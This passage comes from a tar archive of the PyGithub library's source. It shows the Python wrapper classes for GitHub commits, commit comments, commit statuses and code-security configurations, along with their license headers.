self._secret_scanning_push_protection.value @property def secret_scanning_validity_checks(self) -> str: return self._secret_scanning_validity_checks.value @property def target_type(self) -> str: return self._target_type.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "advanced_security" in attributes: # pragma no branch self._advanced_security = self._makeStringAttribute(attributes["advanced_security"]) if "code_scanning_default_setup" in attributes: # pragma no branch self._code_scanning_default_setup = self._makeStringAttribute(attributes["code_scanning_default_setup"]) if "created_at" in attributes: # pragma no branch assert attributes["created_at"] is None or isinstance(attributes["created_at"], str), attributes[ "created_at" ] self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "dependabot_alerts" in attributes: # pragma no branch self._dependabot_alerts = self._makeStringAttribute(attributes["dependabot_alerts"]) if "dependabot_security_updates" in attributes: # pragma no branch self._dependabot_security_updates = self._makeStringAttribute(attributes["dependabot_security_updates"]) if "dependency_graph" in attributes: # pragma no branch self._dependency_graph = self._makeStringAttribute(attributes["dependency_graph"]) if "dependency_graph_autosubmit_action" in attributes: # pragma no branch self._dependency_graph_autosubmit_action = self._makeStringAttribute( attributes["dependency_graph_autosubmit_action"] ) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "enforcement" in attributes: # pragma no branch self._enforcement = self._makeStringAttribute(attributes["enforcement"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "private_vulnerability_reporting" in attributes: # pragma no branch self._private_vulnerability_reporting = self._makeStringAttribute( attributes["private_vulnerability_reporting"] ) if "secret_scanning" in attributes: # pragma no branch self._secret_scanning = self._makeStringAttribute(attributes["secret_scanning"]) if "secret_scanning_delegated_bypass" in attributes: # pragma no branch self._secret_scanning_delegated_bypass = self._makeStringAttribute( attributes["secret_scanning_delegated_bypass"] ) if "secret_scanning_non_provider_patterns" in attributes: # pragma no branch self._secret_scanning_non_provider_patterns = self._makeStringAttribute( attributes["secret_scanning_non_provider_patterns"] ) if "secret_scanning_push_protection" in attributes: # pragma no branch self._secret_scanning_push_protection = self._makeStringAttribute( attributes["secret_scanning_push_protection"] ) if "secret_scanning_validity_checks" in attributes: # pragma no branch self._secret_scanning_validity_checks = self._makeStringAttribute( attributes["secret_scanning_validity_checks"] ) if "target_type" in attributes: # pragma no branch self._target_type = self._makeStringAttribute(attributes["target_type"]) if "updated_at" in attributes: # pragma no branch assert attributes["updated_at"] is None or isinstance(attributes["updated_at"], str), attributes[ "updated_at" ] self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CodeSecurityConfigRepository.py0000644000175100001660000000633314756101563022457 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Thomas Cooper # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Repository from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.Repository import Repository class CodeSecurityConfigRepository(NonCompletableGithubObject): """ This class represents CodeSecurityConfigRepository. The reference can be found here https://docs.github.com/en/rest/code-security/configurations The OpenAPI schema can be found at - /components/schemas/code-security-configuration-repositories """ def _initAttributes(self) -> None: self._repository: Attribute[Repository] = NotSet self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.repository.__repr__() @property def repository(self) -> Repository: return self._repository.value @property def status(self) -> str: return self._status.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Commit.py0000644000175100001660000004011714756101563016055 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Andy Casey # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Danilo Martins # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 iarspider # # Copyright 2025 Enrico Minack # # Copyright 2025 xmo-odoo # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.Branch import github.CheckRun import github.CheckSuite import github.CommitCombinedStatus import github.CommitComment import github.CommitStats import github.CommitStatus import github.File import github.GitCommit import github.NamedUser import github.PaginatedList import github.Repository from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, is_optional from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Branch import Branch from github.CheckRun import CheckRun from github.CheckSuite import CheckSuite from github.CommitCombinedStatus import CommitCombinedStatus from github.CommitComment import CommitComment from github.CommitStats import CommitStats from github.CommitStatus import CommitStatus from github.File import File from github.GitCommit import GitCommit from github.NamedUser import NamedUser from github.PullRequest import PullRequest from github.Repository import Repository class Commit(CompletableGithubObject): """ This class represents Commits. The reference can be found here https://docs.github.com/en/rest/commits/commits#get-a-commit-object The OpenAPI schema can be found at - /components/schemas/branch-short/properties/commit - /components/schemas/commit - /components/schemas/commit-search-result-item - /components/schemas/commit-search-result-item/properties/parents/items - /components/schemas/commit/properties/parents/items - /components/schemas/short-branch/properties/commit - /components/schemas/tag/properties/commit """ def _initAttributes(self) -> None: self._author: Attribute[NamedUser] = NotSet self._comments_url: Attribute[str] = NotSet self._commit: Attribute[GitCommit] = NotSet self._committer: Attribute[NamedUser] = NotSet self._files: Attribute[list[File]] = NotSet self._html_url: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._parents: Attribute[list[Commit]] = NotSet self._repository: Attribute[Repository] = NotSet self._score: Attribute[float] = NotSet self._sha: Attribute[str] = NotSet self._stats: Attribute[CommitStats] = NotSet self._text_matches: Attribute[dict[str, Any]] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value}) @property def _identity(self) -> str: return self.sha @property def author(self) -> NamedUser: self._completeIfNotSet(self._author) return self._author.value @property def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def commit(self) -> GitCommit: self._completeIfNotSet(self._commit) return self._commit.value @property def committer(self) -> NamedUser: self._completeIfNotSet(self._committer) return self._committer.value # This should be a method, but this used to be a property and cannot be changed without breaking user code # TODO: remove @property on version 3 @property def files(self) -> PaginatedList[File]: return PaginatedList( github.File.File, self._requester, self.url, {}, headers=None, list_item="files", total_count_item="total_files", firstData=self.raw_data, firstHeaders=self.raw_headers, ) @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def parents(self) -> list[Commit]: self._completeIfNotSet(self._parents) return self._parents.value @property def repository(self) -> Repository: self._completeIfNotSet(self._repository) return self._repository.value @property def score(self) -> float: self._completeIfNotSet(self._score) return self._score.value @property def sha(self) -> str: self._completeIfNotSet(self._sha) return self._sha.value @property def stats(self) -> CommitStats: self._completeIfNotSet(self._stats) return self._stats.value @property def text_matches(self) -> dict[str, Any]: self._completeIfNotSet(self._text_matches) return self._text_matches.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def create_comment( self, body: str, line: Opt[int] = NotSet, path: Opt[str] = NotSet, position: Opt[int] = NotSet, ) -> CommitComment: """ :calls: `POST /repos/{owner}/{repo}/commits/{sha}/comments `_ """ assert isinstance(body, str), body assert is_optional(line, int), line assert is_optional(path, str), path assert is_optional(position, int), position post_parameters = NotSet.remove_unset_items({"body": body, "line": line, "path": path, "position": position}) headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) return github.CommitComment.CommitComment(self._requester, headers, data, completed=True) def create_status( self, state: str, target_url: Opt[str] = NotSet, description: Opt[str] = NotSet, context: Opt[str] = NotSet, ) -> CommitStatus: """ :calls: `POST /repos/{owner}/{repo}/statuses/{sha} `_ """ assert isinstance(state, str), state assert is_optional(target_url, str), target_url assert is_optional(description, str), description assert is_optional(context, str), context post_parameters = NotSet.remove_unset_items( { "state": state, "target_url": target_url, "description": description, "context": context, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"{self._parentUrl(self._parentUrl(self.url))}/statuses/{self.sha}", input=post_parameters, ) return github.CommitStatus.CommitStatus(self._requester, headers, data) def get_branches_where_head(self) -> list[Branch]: """ :calls: `GET /repos/{owner}/{repo}/commits/{commit_sha}/branches-where-head `_ """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/branches-where-head") return [github.Branch.Branch(self._requester, headers, item) for item in data] def get_comments(self) -> PaginatedList[CommitComment]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/comments `_ """ return PaginatedList( github.CommitComment.CommitComment, self._requester, f"{self.url}/comments", None, ) def get_statuses(self) -> PaginatedList[CommitStatus]: """ :calls: `GET /repos/{owner}/{repo}/statuses/{ref} `_ """ return PaginatedList( github.CommitStatus.CommitStatus, self._requester, f"{self._parentUrl(self._parentUrl(self.url))}/statuses/{self.sha}", None, ) def get_combined_status(self) -> CommitCombinedStatus: """ :calls: `GET /repos/{owner}/{repo}/commits/{ref}/status/ `_ """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/status") return github.CommitCombinedStatus.CommitCombinedStatus(self._requester, headers, data) def get_pulls(self) -> PaginatedList[PullRequest]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/pulls `_ """ return PaginatedList( github.PullRequest.PullRequest, self._requester, f"{self.url}/pulls", None, headers={"Accept": "application/vnd.github.groot-preview+json"}, ) def get_check_runs( self, check_name: Opt[str] = NotSet, status: Opt[str] = NotSet, filter: Opt[str] = NotSet, ) -> PaginatedList[CheckRun]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/check-runs `_ """ assert is_optional(check_name, str), check_name assert is_optional(status, str), status assert is_optional(filter, str), filter url_parameters = NotSet.remove_unset_items({"check_name": check_name, "status": status, "filter": filter}) return PaginatedList( github.CheckRun.CheckRun, self._requester, f"{self.url}/check-runs", url_parameters, headers={"Accept": "application/vnd.github.v3+json"}, list_item="check_runs", ) def get_check_suites(self, app_id: Opt[int] = NotSet, check_name: Opt[str] = NotSet) -> PaginatedList[CheckSuite]: """ :class: `GET /repos/{owner}/{repo}/commits/{ref}/check-suites `_ """ assert is_optional(app_id, int), app_id assert is_optional(check_name, str), check_name parameters = NotSet.remove_unset_items({"app_id": app_id, "check_name": check_name}) request_headers = {"Accept": "application/vnd.github.v3+json"} return PaginatedList( github.CheckSuite.CheckSuite, self._requester, f"{self.url}/check-suites", parameters, headers=request_headers, list_item="check_suites", ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commit" in attributes: # pragma no branch self._commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["commit"]) if "committer" in attributes: # pragma no branch self._committer = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["committer"]) if "files" in attributes: # pragma no branch self._files = self._makeListOfClassesAttribute(github.File.File, attributes["files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "parents" in attributes: # pragma no branch self._parents = self._makeListOfClassesAttribute(Commit, attributes["parents"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "score" in attributes: # pragma no branch self._score = self._makeFloatAttribute(attributes["score"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "stats" in attributes: # pragma no branch self._stats = self._makeClassAttribute(github.CommitStats.CommitStats, attributes["stats"]) if "text_matches" in attributes: # pragma no branch self._text_matches = self._makeDictAttribute(attributes["text_matches"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CommitCombinedStatus.py0000644000175100001660000001340414756101563020721 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any import github.CommitStatus import github.Repository from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CommitCombinedStatus(NonCompletableGithubObject): """ This class represents CommitCombinedStatuses. The reference can be found here https://docs.github.com/en/rest/reference/repos#statuses """ def _initAttributes(self) -> None: self._commit_url: Attribute[str] = NotSet self._repository: Attribute[github.Repository.Repository] = NotSet self._sha: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._statuses: Attribute[list[github.CommitStatus.CommitStatus]] = NotSet self._total_count: Attribute[int] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "state": self._state.value}) @property def commit_url(self) -> str: return self._commit_url.value @property def repository(self) -> github.Repository.Repository: return self._repository.value @property def sha(self) -> str: return self._sha.value @property def state(self) -> str: return self._state.value @property def statuses(self) -> list[github.CommitStatus.CommitStatus]: return self._statuses.value @property def total_count(self) -> int: return self._total_count.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "commit_url" in attributes: # pragma no branch self._commit_url = self._makeStringAttribute(attributes["commit_url"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "statuses" in attributes: # pragma no branch self._statuses = self._makeListOfClassesAttribute(github.CommitStatus.CommitStatus, attributes["statuses"]) if "total_count" in attributes: # pragma no branch self._total_count = self._makeIntAttribute(attributes["total_count"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CommitComment.py0000644000175100001660000002617714756101563017412 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.GithubObject import github.NamedUser from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Reaction import Reaction class CommitComment(CompletableGithubObject): """ This class represents CommitComments. The reference can be found here https://docs.github.com/en/rest/reference/repos#comments The OpenAPI schema can be found at - /components/schemas/commit-comment """ def _initAttributes(self) -> None: self._author_association: Attribute[str] = NotSet self._body: Attribute[str] = NotSet self._commit_id: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._line: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._path: Attribute[str] = NotSet self._position: Attribute[int] = NotSet self._reactions: Attribute[dict[str, Any]] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[github.NamedUser.NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self.user}) @property def author_association(self) -> str: self._completeIfNotSet(self._author_association) return self._author_association.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def commit_id(self) -> str: self._completeIfNotSet(self._commit_id) return self._commit_id.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def line(self) -> int: self._completeIfNotSet(self._line) return self._line.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property def position(self) -> int: self._completeIfNotSet(self._position) return self._position.value @property def reactions(self) -> dict[str, Any]: self._completeIfNotSet(self._reactions) return self._reactions.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/comments/{id} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, body: str) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/comments/{id} `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_reactions(self) -> PaginatedList[Reaction]: """ :calls: `GET /repos/{owner}/{repo}/comments/{id}/reactions `_ :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.Reaction.Reaction` """ return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", None, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) def create_reaction(self, reaction_type: str) -> Reaction: """ :calls: `POST /repos/{owner}/{repo}/comments/{id}/reactions `_ """ assert isinstance(reaction_type, str), reaction_type post_parameters = { "content": reaction_type, } headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/reactions", input=post_parameters, headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id} `_ :param reaction_id: integer :rtype: bool """ assert isinstance(reaction_id, int), reaction_id status, _, _ = self._requester.requestJson( "DELETE", f"{self.url}/reactions/{reaction_id}", headers={"Accept": Consts.mediaTypeReactionsPreview}, ) return status == 204 def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "commit_id" in attributes: # pragma no branch self._commit_id = self._makeStringAttribute(attributes["commit_id"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "line" in attributes: # pragma no branch self._line = self._makeIntAttribute(attributes["line"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "path" in attributes: # pragma no branch self._path = self._makeStringAttribute(attributes["path"]) if "position" in attributes: # pragma no branch self._position = self._makeIntAttribute(attributes["position"]) if "reactions" in attributes: # pragma no branch self._reactions = self._makeDictAttribute(attributes["reactions"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CommitStats.py0000644000175100001660000000765414756101563017105 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CommitStats(NonCompletableGithubObject): """ This class represents CommitStats. The OpenAPI schema can be found at - /components/schemas/commit/properties/stats - /components/schemas/gist-history/properties/change_status """ def _initAttributes(self) -> None: self._additions: Attribute[int] = NotSet self._deletions: Attribute[int] = NotSet self._total: Attribute[int] = NotSet @property def additions(self) -> int: return self._additions.value @property def deletions(self) -> int: return self._deletions.value @property def total(self) -> int: return self._total.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "additions" in attributes: # pragma no branch self._additions = self._makeIntAttribute(attributes["additions"]) if "deletions" in attributes: # pragma no branch self._deletions = self._makeIntAttribute(attributes["deletions"]) if "total" in attributes: # pragma no branch self._total = self._makeIntAttribute(attributes["total"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/CommitStatus.py0000644000175100001660000001547514756101563017272 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2015 Matt Babineau # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Martijn Koster # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class CommitStatus(NonCompletableGithubObject): """ This class represents CommitStatuses.The reference can be found here https://docs.github.com/en/rest/reference/repos#statuses The OpenAPI schema can be found at - /components/schemas/status """ def _initAttributes(self) -> None: self._avatar_url: Attribute[str] = NotSet self._context: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._creator: Attribute[github.NamedUser.NamedUser] = NotSet self._description: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._target_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "id": self._id.value, "state": self._state.value, "context": self._context.value, } ) @property def avatar_url(self) -> str: return self._avatar_url.value @property def context(self) -> str: return self._context.value @property def created_at(self) -> datetime: return self._created_at.value @property def creator(self) -> github.NamedUser.NamedUser: return self._creator.value @property def description(self) -> str: return self._description.value @property def id(self) -> int: return self._id.value @property def node_id(self) -> str: return self._node_id.value @property def state(self) -> str: return self._state.value @property def target_url(self) -> str: return self._target_url.value @property def updated_at(self) -> datetime: return self._updated_at.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "context" in attributes: # pragma no branch self._context = self._makeStringAttribute(attributes["context"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "node_id" in attributes: # pragma no branch self._node_id = self._makeStringAttribute(attributes["node_id"]) if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "target_url" in attributes: # pragma no branch self._target_url = self._makeStringAttribute(attributes["target_url"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Comparison.py0000644000175100001660000001751214756101563016742 